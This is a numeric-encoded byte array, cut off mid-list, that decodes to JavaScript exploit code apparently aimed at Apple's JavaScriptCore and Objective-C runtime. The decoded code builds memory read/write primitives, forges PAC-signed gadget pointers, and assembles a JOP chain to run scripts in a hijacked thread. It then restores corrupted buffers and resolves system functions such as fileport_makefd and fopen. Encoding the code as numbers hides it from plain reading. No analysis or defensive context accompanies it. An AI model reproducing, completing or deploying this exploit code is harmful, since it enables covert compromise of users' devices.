116, 101, 114, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 56, 110, 44, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 98, 117, 116, 116, 101, 114, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 114, 119, 54, 52, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 114, 119, 56, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 115, 105, 103, 110, 105, 110, 103, 95, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 61, 32, 48, 120, 52, 57, 49, 49, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 115, 105, 103, 110, 101, 100, 95, 102, 99, 97, 108, 108, 95, 97, 100, 100, 114, 32, 61, 32, 112, 97, 99, 105, 98, 40, 106, 115, 118, 109, 95, 105, 115, 78, 65, 78, 95, 102, 99, 97, 108, 108, 95, 103, 97, 100, 103, 101, 116, 44, 32, 115, 105, 103, 110, 105, 110, 103, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 110, 97, 110, 95, 99, 111, 100, 101, 95, 112, 116, 114, 44, 32, 115, 105, 103, 110, 101, 100, 95, 102, 99, 97, 108, 108, 95, 97, 100, 100, 114, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 100, 100, 114, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 109, 101, 109, 99, 112, 121, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 44, 32, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 44, 32, 80, 65, 71, 69, 95, 83, 73, 90, 69, 41, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 51, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 53, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 54, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 55, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 41, 59, 10, 10, 32, 32, 32, 32, 105, 102, 32, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 61, 61, 32, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 115, 105, 103, 110, 97, 116, 117, 114, 101, 32, 61, 32, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 40, 99, 116, 120, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 32, 32, 32, 61, 32, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 40, 105, 110, 118, 111, 107, 101, 95, 99, 108, 97, 115, 115, 44, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 115, 105, 103, 110, 97, 116, 117, 114, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 41, 44, 32, 49, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 99, 116, 120, 41, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 44, 32, 50, 110, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 32, 61, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 40, 110, 115, 116, 104, 114, 101, 97, 100, 95, 99, 108, 97, 115, 115, 41, 59, 10, 32, 32, 32, 32, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 40, 110, 115, 116, 104, 114, 101, 97, 100, 44, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 107, 101, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 40, 110, 115, 116, 104, 114, 101, 97, 100, 41, 59, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 116, 104, 114, 101, 97, 100, 95, 104, 97, 110, 100, 108, 101, 34, 32, 58, 32, 110, 115, 116, 104, 114, 101, 97, 100, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 95, 99, 116, 120, 34, 32, 58, 32, 99, 116, 120, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 34, 32, 58, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 34, 32, 58, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 125, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 40, 106, 115, 95, 116, 104, 114, 101, 97, 100, 41, 10, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 95, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 115, 95, 99, 116, 120, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 116, 104, 114, 101, 97, 100, 95, 104, 97, 110, 100, 108, 101, 34, 93, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 119, 97, 105, 116, 32, 117, 110, 116, 105, 108, 32, 116, 104, 101, 32, 116, 104, 114, 101, 97, 100, 32, 105, 115, 32, 102, 105, 110, 105, 115, 104, 101, 100, 32, 97, 110, 100, 32, 114, 101, 108, 101, 97, 115, 101, 32, 105, 116, 10, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 61, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 110, 115, 116, 104, 114, 101, 97, 100, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 61, 61, 32, 49, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 98, 114, 101, 97, 107, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 110, 115, 116, 104, 114, 101, 97, 100, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 118, 101, 114, 116, 32, 114, 119, 54, 52, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 118, 101, 114, 116, 32, 114, 119, 56, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 108, 101, 97, 115, 101, 32, 106, 115, 32, 99, 111, 110, 116, 101, 120, 116, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 99, 95, 114, 101, 102, 95, 99, 111, 117, 110, 116, 32, 61, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 40, 106, 115, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 102, 111, 114, 32, 40, 108, 101, 116, 32, 105, 32, 61, 32, 48, 110, 59, 32, 105, 32, 60, 32, 106, 115, 99, 95, 114, 101, 102, 95, 99, 111, 117, 110, 116, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 106, 115, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 108, 101, 97, 115, 101, 32, 116, 97, 114, 103, 101, 116, 32, 106, 115, 32, 115, 99, 114, 105, 112, 116, 10, 32, 32, 32, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 102, 114, 101, 101, 32, 106, 111, 112, 32, 99, 104, 97, 105, 110, 32, 112, 114, 111, 112, 101, 114, 116, 105, 101, 115, 10, 32, 32, 32, 32, 102, 114, 101, 101, 40, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 93, 41, 59, 10, 125, 10, 108, 101, 116, 32, 82, 84, 76, 68, 95, 68, 69, 70, 65, 85, 76, 84, 32, 61, 32, 48, 120, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 69, 110, 59, 10, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 65, 78, 89, 87, 72, 69, 82, 69, 32, 61, 32, 49, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 70, 73, 88, 69, 68, 32, 61, 32, 48, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 79, 86, 69, 82, 87, 82, 73, 84, 69, 32, 61, 32, 48, 120, 52, 48, 48, 48, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 82, 65, 78, 68, 79, 77, 95, 65, 68, 68, 82, 32, 61, 32, 56, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 73, 78, 72, 69, 82, 73, 84, 95, 78, 79, 78, 69, 32, 61, 32, 50, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 32, 61, 32, 51, 110, 59, 10, 10, 108, 101, 116, 32, 80, 82, 79, 84, 95, 82, 69, 65, 68, 32, 61, 32, 48, 120, 49, 110, 59, 10, 108, 101, 116, 32, 80, 82, 79, 84, 95, 87, 82, 73, 84, 69, 32, 61, 32, 48, 120, 50, 110, 59, 10, 10, 108, 101, 116, 32, 77, 65, 80, 95, 83, 72, 65, 82, 69, 68, 32, 61, 32, 48, 120, 49, 110, 59, 10, 10, 108, 101, 116, 32, 65, 70, 95, 73, 78, 69, 84, 54, 32, 61, 32, 51, 48, 110, 59, 10, 108, 101, 116, 32, 83, 79, 67, 75, 95, 68, 71, 82, 65, 77, 32, 61, 32, 50, 110, 59, 10, 108, 101, 116, 32, 73, 80, 80, 82, 79, 84, 79, 95, 73, 67, 77, 80, 86, 54, 32, 61, 32, 53, 56, 110, 59, 10, 108, 101, 116, 32, 73, 67, 77, 80, 54, 95, 70, 73, 76, 84, 69, 82, 32, 61, 32, 49, 56, 110, 59, 10, 10, 108, 101, 116, 32, 83, 69, 69, 75, 95, 83, 69, 84, 32, 61, 32, 48, 110, 59, 10, 10, 108, 101, 116, 32, 95, 78, 83, 71, 69, 84, 69, 88, 69, 67, 85, 84, 65, 66, 76, 69, 80, 65, 84, 72, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 95, 78, 83, 71, 101, 116, 69, 120, 101, 99, 117, 116, 97, 98, 108, 101, 80, 97, 116, 104, 34, 41, 59, 10, 108, 101, 116, 32, 65, 67, 67, 69, 83, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 97, 99, 99, 101, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 67, 79, 78, 70, 83, 84, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 111, 110, 102, 115, 116, 114, 34, 41, 59, 10, 108, 101, 116, 32, 70, 67, 78, 84, 76, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 99, 110, 116, 108, 34, 41, 59, 10, 108, 101, 116, 32, 70, 83, 89, 78, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 115, 121, 110, 99, 34, 41, 59, 10, 108, 101, 116, 32, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 70, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 102, 100, 34, 41, 59, 10, 108, 101, 116, 32, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 80, 79, 82, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 112, 111, 114, 116, 34, 41, 59, 10, 108, 101, 116, 32, 70, 79, 80, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 111, 112, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 70, 67, 76, 79, 83, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 